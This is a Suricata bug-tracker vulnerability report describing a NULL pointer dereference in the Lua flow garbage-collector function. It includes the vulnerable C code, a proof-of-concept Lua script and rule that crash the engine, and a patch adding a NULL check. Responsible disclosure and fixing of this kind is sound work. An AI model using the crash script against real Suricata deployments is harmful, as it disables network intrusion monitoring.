Project

General

Profile

Actions

Bug #8248

open

lua: calling metatable garbage collector with nil from a script leadsd to a null pointer dereference

Added by Jason Ish 2 days ago. Updated 2 days ago.

Status:
In Progress
Priority:
Normal
Assignee:
Target version:
Affected Versions:
Effort:
Difficulty:
Label:

Description

Vulnerability Report: NULL Pointer Dereference in LuaFlowGC (DoS)

Summary

A NULL pointer dereference vulnerability exists in the LuaFlowGC function within src/util-lua-flowlib.c. This function, which serves as the garbage collection (__gc) metamethod for Flow objects in Lua, fails to validate that the argument passed to it is a valid userdata object. An attacker with the ability to load a Lua script (e.g., via a detection rule) and enabled restricted Lua functions can manually invoke this method with nil, causing the Suricata engine to crash (Segmentation Fault).

Vulnerability Details

  • Component: Suricata Lua API (Flow Module)
  • File: src/util-lua-flowlib.c
  • Function: LuaFlowGC
  • Type: NULL Pointer Dereference (CWE-476)
  • Impact: Denial of Service (DoS)

Technical Analysis

The vulnerable function retrieves a pointer from the Lua stack using lua_touserdata without checking if the return value is NULL.

// src/util-lua-flowlib.c

static int LuaFlowGC(lua_State *luastate)
{
    SCLogDebug("gc:start");
    // [1] lua_touserdata returns NULL if arg 1 is not a userdata (e.g., if it is nil)
    struct LuaFlow *s = (struct LuaFlow *)lua_touserdata(luastate, 1);

    SCLogDebug("flow %p", s->f); // SCLogDebug might dereference s depending on debug level/macro

    // [2] CRASH: Dereferencing 's' which is NULL
    s->f = NULL; 

    SCLogDebug("gc:done");
    return 0;
}

If LuaFlowGC is called with nil (or any non-userdata type), lua_touserdata returns NULL. The subsequent line s->f = NULL; attempts to write to address 0x0 + offset, resulting in a segmentation fault.

Reproduction Steps

Prerequisites

  1. Suricata must be configured to allow restricted Lua functions (to access getmetatable).
    In suricata.yaml:
    security:
      lua:
        allow-restricted-functions: true
    
  2. Ability to load a custom Lua script via a rule.

PoC Script (577.lua)

local sf = require "suricata.flow" 

function init(args)
    local needs = {}
    needs["packet"] = "true" 
    return needs
end

function match(args)
    -- 1. Get a valid flow object
    local f = sf.get()

    if f then
        -- 2. Access its metatable
        local mt = getmetatable(f)

        if mt and mt.__gc then
            -- 3. Manually call __gc with nil to trigger the crash
            mt.__gc(nil)
        end
    end
    return 1
end

Trigger Command

Run Suricata with a rule that invokes the script:

suricata -c suricata.yaml -S 577.rules -i lo
# Rule: alert ip any any -> any any (msg:"Crash"; lua:suricata_crash.lua; sid:1; rev:1;)

Send any traffic (e.g., ping 127.0.0.1) to trigger the rule.

Impact Analysis

This vulnerability allows a Denial of Service (DoS) attack. If an attacker can introduce a malicious Lua script (e.g., in a multi-tenant environment or via a compromised rule update supply chain), they can crash the entire Suricata intrusion detection engine, rendering the network unmonitored.

Recommendation

Add a NULL check for the return value of lua_touserdata in LuaFlowGC.

Patch Suggestion:

static int LuaFlowGC(lua_State *luastate)
{
    SCLogDebug("gc:start");
    struct LuaFlow *s = (struct LuaFlow *)lua_touserdata(luastate, 1);

    // FIX: Check for NULL pointer
    if (s == NULL) {
        return 0; // Or raise a Lua error
    }

    SCLogDebug("flow %p", s->f);
    s->f = NULL;
    SCLogDebug("gc:done");
    return 0;
}

Credits

Discovered by https://github.com/kaixinhouse

Verified by @Jason Ish


Subtasks 1 (1 open0 closed)

Bug #8249: lua: calling metatable garbage collector with nil from a script leadsd to a null pointer dereference (8.0.x backport)AssignedJason IshActions
Actions

Also available in: Atom PDF